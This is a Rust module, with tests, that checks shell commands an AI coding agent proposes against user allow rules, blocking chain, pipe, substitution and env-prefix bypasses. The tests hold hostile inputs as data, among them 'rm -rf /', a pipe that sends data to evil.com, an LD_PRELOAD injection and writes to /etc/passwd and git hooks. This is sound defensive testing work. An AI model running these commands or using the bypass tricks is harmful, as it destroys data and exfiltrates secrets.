1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
18 match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
22 Some(home) => Self::load_from_home(Path::new(&home)),
23 None => Matcher {
24 exact: HashSet::new(),
25 globs: Vec::new(),
26 },
27 }
28 }
29
30 fn load_from_home(home: &Path) -> Self {
31 let mut patterns = Matcher {
32 exact: HashSet::new(),
33 globs: Vec::new(),
34 };
35 patterns.load_file(&home.join(".claude/settings.json"));
36 patterns
37 }
38
39 fn load_file(&mut self, path: &Path) {
40 let Ok(contents) = std::fs::read_to_string(path) else {
41 return;
42 };
43 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
44 return;
45 };
46
47 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
48 for entry in arr.iter().filter_map(|e| e.as_str()) {
49 self.add_pattern(entry);
50 }
51 }
52
53 if let Some(arr) = value
54 .get("permissions")
55 .and_then(|v| v.get("allow"))
56 .and_then(|v| v.as_array())
57 {
58 for entry in arr.iter().filter_map(|e| e.as_str()) {
59 self.add_pattern(entry);
60 }
61 }
62 }
63
64 fn add_pattern(&mut self, entry: &str) {
65 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
66 return;
67 };
68 if inner.is_empty() {
69 return;
70 }
71 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
72 format!("{prefix} *")
73 } else {
74 inner.to_string()
75 };
76 if normalized.contains('*') {
77 self.globs
78 .push(normalized.split('*').map(String::from).collect());
79 } else {
80 self.exact.insert(normalized);
81 }
82 }
83
84 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
85 let Cmd::Simple(simple) = cmd else {
86 return false;
87 };
88 let Some(normalized) = check::normalize_for_matching(simple) else {
91 return false;
92 };
93 let normalized = normalized.trim();
94 if normalized.is_empty() {
95 return false;
96 }
97 if self.exact.contains(normalized) {
98 return true;
99 }
100 self.globs
101 .iter()
102 .any(|parts| glob_matches(parts, normalized))
103 }
104
105 pub fn is_empty(&self) -> bool {
106 self.exact.is_empty() && self.globs.is_empty()
107 }
108
109 #[cfg(test)]
110 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
111 let mut m = Matcher {
112 exact: HashSet::new(),
113 globs: Vec::new(),
114 };
115 for p in patterns {
116 m.add_pattern(&format!("Bash({p})"));
117 }
118 m
119 }
120}
121
122pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
123 match cmd {
124 Cmd::Simple(_) => {
125 check::is_safe_cmd(cmd)
126 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
127 }
128 _ => check::is_safe_cmd(cmd),
129 }
130}
131
132fn glob_matches(parts: &[String], text: &str) -> bool {
133 let first = &parts[0];
134 let last = &parts[parts.len() - 1];
135
136 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
137 let prefix = &first[..first.len() - 1];
138 return text == prefix || text.starts_with(first.as_str());
139 }
140
141 if !text.starts_with(first.as_str()) {
142 return false;
143 }
144 if !text.ends_with(last.as_str()) {
145 return false;
146 }
147 let mut pos = first.len();
148 let end = text.len() - last.len();
149 if pos > end {
150 return false;
151 }
152 for part in &parts[1..parts.len() - 1] {
153 match text[pos..end].find(part.as_str()) {
154 Some(idx) => pos += idx + part.len(),
155 None => return false,
156 }
157 }
158 pos <= end
159}
160
161#[cfg(test)]
162mod tests {
163 use super::*;
164 use std::fs;
165
166 use crate::cst;
167
168 fn empty() -> Matcher {
169 Matcher {
170 exact: HashSet::new(),
171 globs: Vec::new(),
172 }
173 }
174
175 fn cmd(s: &str) -> Cmd {
176 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
177 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
178 assert_eq!(
179 script.0[0].pipeline.commands.len(),
180 1,
181 "expected single command: {s}"
182 );
183 script.0[0].pipeline.commands[0].clone()
184 }
185
186 fn segments(command: &str) -> Vec<Cmd> {
187 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
188 script
189 .0
190 .into_iter()
191 .flat_map(|stmt| stmt.pipeline.commands)
192 .collect()
193 }
194
195 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
196 is_cmd_covered(cmd, patterns)
197 }
198
199 fn all_covered(command: &str, patterns: &Matcher) -> bool {
200 let Some(script) = cst::parse(command) else {
201 return false;
202 };
203 script.0.iter().all(|stmt| {
204 check::is_safe_pipeline(&stmt.pipeline)
205 || stmt
206 .pipeline
207 .commands
208 .iter()
209 .all(|c| is_cmd_covered(c, patterns))
210 })
211 }
212
213 #[test]
214 fn parse_exact_pattern() {
215 let mut p = empty();
216 p.add_pattern("Bash(npm test)");
217 assert!(p.exact.contains("npm test"));
218 assert!(p.globs.is_empty());
219 }
220
221 #[test]
222 fn parse_legacy_colon_star() {
223 let mut p = empty();
224 p.add_pattern("Bash(npm run:*)");
225 assert!(p.exact.is_empty());
226 assert_eq!(p.globs.len(), 1);
227 }
228
229 #[test]
230 fn parse_space_star() {
231 let mut p = empty();
232 p.add_pattern("Bash(npm run *)");
233 assert!(p.exact.is_empty());
234 assert_eq!(p.globs.len(), 1);
235 }
236
237 #[test]
238 fn parse_non_bash_skipped() {
239 let mut p = empty();
240 p.add_pattern("WebFetch");
241 p.add_pattern("XcodeBuildMCP");
242 assert!(p.is_empty());
243 }
244
245 #[test]
246 fn parse_empty_bash_skipped() {
247 let mut p = empty();
248 p.add_pattern("Bash()");
249 assert!(p.is_empty());
250 }
251
252 #[test]
253 fn match_exact() {
254 let mut p = empty();
255 p.add_pattern("Bash(npm test)");
256 assert!(p.matches_cmd(&cmd("npm test")));
257 assert!(!p.matches_cmd(&cmd("npm test --watch")));
258 }
259
260 #[test]
261 fn match_space_star_word_boundary() {
262 let mut p = empty();
263 p.add_pattern("Bash(ls *)");
264 assert!(p.matches_cmd(&cmd("ls -la")));
265 assert!(p.matches_cmd(&cmd("ls foo")));
266 assert!(!p.matches_cmd(&cmd("lsof")));
267 }
268
269 #[test]
270 fn match_star_no_space_no_boundary() {
271 let mut p = empty();
272 p.add_pattern("Bash(ls*)");
273 assert!(p.matches_cmd(&cmd("ls -la")));
274 assert!(p.matches_cmd(&cmd("lsof")));
275 }
276
277 #[test]
278 fn match_legacy_colon_star_word_boundary() {
279 let mut p = empty();
280 p.add_pattern("Bash(npm run:*)");
281 assert!(p.matches_cmd(&cmd("npm run build")));
282 assert!(p.matches_cmd(&cmd("npm run test")));
283 assert!(!p.matches_cmd(&cmd("npm running")));
284 assert!(!p.matches_cmd(&cmd("npm install")));
285 }
286
287 #[test]
288 fn match_star_at_beginning() {
289 let mut p = empty();
290 p.add_pattern("Bash(* --version)");
291 assert!(p.matches_cmd(&cmd("npm --version")));
292 assert!(p.matches_cmd(&cmd("cargo --version")));
293 assert!(!p.matches_cmd(&cmd("npm --help")));
294 }
295
296 #[test]
297 fn match_star_in_middle() {
298 let mut p = empty();
299 p.add_pattern("Bash(git * main)");
300 assert!(p.matches_cmd(&cmd("git checkout main")));
301 assert!(p.matches_cmd(&cmd("git merge main")));
302 assert!(!p.matches_cmd(&cmd("git checkout develop")));
303 }
304
305 #[test]
319 fn match_env_prefix_is_not_stripped() {
320 let mut p = empty();
321 p.add_pattern("Bash(bundle install)");
322 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
323 assert!(p.matches_cmd(&cmd("bundle install")));
324
325 let mut q = empty();
326 q.add_pattern("Bash(RACK_ENV=test bundle install)");
327 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
328 }
329
330 #[test]
331 fn match_fd_redirect_stripped() {
332 let mut p = empty();
333 p.add_pattern("Bash(npm test)");
334 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
335 }
336
337 #[test]
338 fn match_fd_redirect_with_glob() {
339 let mut p = empty();
340 p.add_pattern("Bash(npm run *)");
341 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
342 }
343
344 #[test]
345 fn empty_patterns_match_nothing() {
346 let p = empty();
347 assert!(!p.matches_cmd(&cmd("anything")));
348 }
349
350 #[test]
351 fn match_bare_star_matches_everything() {
352 let mut p = empty();
353 p.add_pattern("Bash(*)");
354 assert!(p.matches_cmd(&cmd("anything at all")));
355 assert!(p.matches_cmd(&cmd("rm -rf /")));
356 }
357
358 #[test]
359 fn unsafe_syntax_not_bypassed_by_match() {
360 let mut p = empty();
361 p.add_pattern("Bash(./script.sh *)");
362 let c = cmd("./script.sh > /etc/passwd");
363 assert!(check::has_unsafe_syntax(&c));
364 assert!(!is_covered(&c, &p));
365 }
366
367 #[test]
368 fn command_substitution_not_bypassed_by_match() {
369 let mut p = empty();
370 p.add_pattern("Bash(./script.sh *)");
371 let c = cmd("./script.sh $(rm -rf /)");
372 assert!(!is_covered(&c, &p));
373 }
374
375 #[test]
376 fn mixed_chain_safe_plus_settings() {
377 let mut p = empty();
378 p.add_pattern("Bash(./generate-docs.sh)");
379 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
380 }
381
382 #[test]
383 fn mixed_chain_safe_plus_unapproved_denied() {
384 let mut p = empty();
385 p.add_pattern("Bash(./generate-docs.sh)");
386 assert!(!all_covered("cargo test && rm -rf /", &p));
387 }
388
389 #[test]
390 fn glob_does_not_cross_chain_boundary() {
391 let mut p = empty();
392 p.add_pattern("Bash(cargo test *)");
393 let cmds = segments("cargo test --release && rm -rf /");
394 assert_eq!(cmds.len(), 2);
395 assert!(p.matches_cmd(&cmds[0]));
396 assert!(!p.matches_cmd(&cmds[1]));
397 assert!(!all_covered("cargo test --release && rm -rf /", &p));
398 }
399
400 #[test]
401 fn glob_does_not_cross_pipe_boundary() {
402 let mut p = empty();
403 p.add_pattern("Bash(safe-cmd *)");
404 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
405 }
406
407 #[test]
408 fn glob_does_not_cross_semicolon_boundary() {
409 let mut p = empty();
410 p.add_pattern("Bash(safe-cmd *)");
411 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
412 }
413
414 #[test]
415 fn file_redirect_promoted_to_safewrite() {
416 let p = empty();
417 let c = cmd("echo > out.txt");
418 assert!(is_covered(&c, &p));
419 }
420
421 #[test]
422 fn redirect_to_sensitive_target_not_covered() {
423 let p = empty();
424 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
425 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
426 }
427
428 #[test]
429 fn bare_star_blocked_by_unsafe_syntax_backtick() {
430 let mut p = empty();
431 p.add_pattern("Bash(*)");
432 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
433 }
434
435 #[test]
436 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
437 let mut p = empty();
438 p.add_pattern("Bash(*)");
439 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
440 }
441
442 #[test]
443 fn safe_command_substitution_allowed_through_is_safe() {
444 let p = empty();
445 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
448 }
449
450 #[test]
451 fn nested_shell_not_recursively_validated_by_settings() {
452 let mut p = empty();
453 p.add_pattern("Bash(bash *)");
454 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
455 assert!(!check::is_safe_cmd(&c));
456 assert!(!check::has_unsafe_syntax(&c));
457 assert!(is_covered(&c, &p));
458 }
459
460 #[test]
461 fn nested_shell_redirect_promoted_to_safewrite() {
462 let p = empty();
463 let c = cmd("bash -c 'echo hello' > /tmp/out");
464 assert!(is_covered(&c, &p));
465 }
466
467 #[test]
468 fn quoted_operators_stay_as_one_segment() {
469 let mut p = empty();
470 p.add_pattern("Bash(./script *)");
471 assert!(all_covered("./script 'arg && rm -rf /'", &p));
472 }
473
474 #[test]
475 fn load_from_home_reads_home_settings() {
476 let home = tempfile::tempdir().unwrap();
477 let claude_dir = home.path().join(".claude");
478 fs::create_dir_all(&claude_dir).unwrap();
479 fs::write(
480 claude_dir.join("settings.json"),
481 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
482 )
483 .unwrap();
484 let p = Matcher::load_from_home(home.path());
485 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
486 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
487 assert!(!p.matches_cmd(&cmd("./evil.sh")));
488 }
489
490 #[test]
491 fn load_from_home_ignores_project_settings() {
492 let home = tempfile::tempdir().unwrap();
496 let project = tempfile::tempdir().unwrap();
497 let project_claude = project.path().join(".claude");
498 fs::create_dir_all(&project_claude).unwrap();
499 fs::write(
500 project_claude.join("settings.json"),
501 r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#,
502 )
503 .unwrap();
504 let p = Matcher::load_from_home(home.path());
505 assert!(!p.matches_cmd(&cmd("rm -rf /")));
506 assert!(p.is_empty());
507 }
508
509 #[test]
510 fn load_from_home_chains_with_builtins() {
511 let home = tempfile::tempdir().unwrap();
512 let claude_dir = home.path().join(".claude");
513 fs::create_dir_all(&claude_dir).unwrap();
514 fs::write(
515 claude_dir.join("settings.json"),
516 r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#,
517 )
518 .unwrap();
519 let p = Matcher::load_from_home(home.path());
520 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
521 assert!(!all_covered("cargo test && ./evil.sh", &p));
522 }
523
524 #[test]
525 fn load_file_nonexistent() {
526 let mut p = empty();
527 p.load_file(Path::new("/nonexistent/path/settings.json"));
528 assert!(p.is_empty());
529 }
530
531 #[test]
532 fn load_file_malformed_json() {
533 let dir = tempfile::tempdir().unwrap();
534 let path = dir.path().join("settings.json");
535 std::fs::write(&path, "not json{{{").unwrap();
536 let mut p = empty();
537 p.load_file(&path);
538 assert!(p.is_empty());
539 }
540
541 #[test]
542 fn load_file_approved_commands() {
543 let dir = tempfile::tempdir().unwrap();
544 let path = dir.path().join("settings.json");
545 fs::write(
546 &path,
547 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
548 )
549 .unwrap();
550 let mut p = empty();
551 p.load_file(&path);
552 assert!(p.matches_cmd(&cmd("npm test")));
553 assert!(p.matches_cmd(&cmd("npm run build")));
554 assert!(!p.matches_cmd(&cmd("curl evil.com")));
555 }
556
557 #[test]
558 fn load_file_permissions_allow() {
559 let dir = tempfile::tempdir().unwrap();
560 let path = dir.path().join("settings.json");
561 fs::write(
562 &path,
563 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
564 )
565 .unwrap();
566 let mut p = empty();
567 p.load_file(&path);
568 assert!(p.matches_cmd(&cmd("cargo test")));
569 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
570 }
571
572 #[test]
573 fn load_file_both_fields() {
574 let dir = tempfile::tempdir().unwrap();
575 let path = dir.path().join("settings.json");
576 fs::write(
577 &path,
578 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
579 )
580 .unwrap();
581 let mut p = empty();
582 p.load_file(&path);
583 assert!(p.matches_cmd(&cmd("npm test")));
584 assert!(p.matches_cmd(&cmd("cargo test --release")));
585 }
586}
587
588#[cfg(test)]
600mod env_prefix_matching_tests {
601 use super::*;
602 use crate::cst;
603
604 fn cmd(s: &str) -> Cmd {
605 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
606 script.0[0].pipeline.commands[0].clone()
607 }
608
609 fn matcher(patterns: &[&str]) -> Matcher {
610 Matcher::from_allow_patterns(patterns)
611 }
612
613 #[test]
614 fn a_plain_command_still_matches_its_rule() {
615 let m = matcher(&["~/runner-scripts/x.sh:*"]);
616 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
617 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
618 }
619
620 #[test]
621 fn an_env_prefix_does_not_match_a_rule_without_one() {
622 let m = matcher(&["~/runner-scripts/x.sh:*"]);
623 for c in [
624 "WRITE=1 ~/runner-scripts/x.sh",
625 "WRITE=1 ~/runner-scripts/x.sh --project p",
626 "PROJECT=p ~/runner-scripts/x.sh",
627 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
628 ] {
629 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
630 }
631 }
632
633 #[test]
634 fn a_rule_that_declares_the_env_prefix_matches_it() {
635 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
637 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
638 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
639 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
640 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
642 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
643 }
644
645 #[test]
646 fn every_assignment_must_be_accounted_for() {
647 let m = matcher(&["A=1 tool:*"]);
648 assert!(m.matches_cmd(&cmd("A=1 tool")));
649 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
651 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
652 }
653
654 #[test]
655 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
656 let exact = matcher(&["tool run"]);
657 assert!(exact.matches_cmd(&cmd("tool run")));
658 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
659 }
660
661 #[test]
667 fn a_value_containing_whitespace_matches_no_rule() {
668 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
669 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
670 assert!(
671 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
672 "a spaced value smuggled the pattern and matched a different program",
673 );
674
675 let n = matcher(&["FOO=bar baz ls"]);
677 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
680
681 #[test]
685 fn a_quoted_word_still_matches() {
686 let m = matcher(&["git commit -m:*"]);
687 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
688 }
689
690 #[test]
694 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
695 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
696 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
697 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
698
699 let mut checked = 0;
700 for rule in rules {
701 let m = matcher(&[rule]);
702 for c in commands {
703 if !m.matches_cmd(&cmd(c)) {
704 continue; }
706 for a in assignments {
707 let prefixed = format!("{a} {c}");
708 assert!(
709 !m.matches_cmd(&cmd(&prefixed)),
710 "rule `{rule}` matched `{prefixed}` without declaring `{a}`",
711 );
712 checked += 1;
713 }
714 }
715 }
716 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
717 }
718}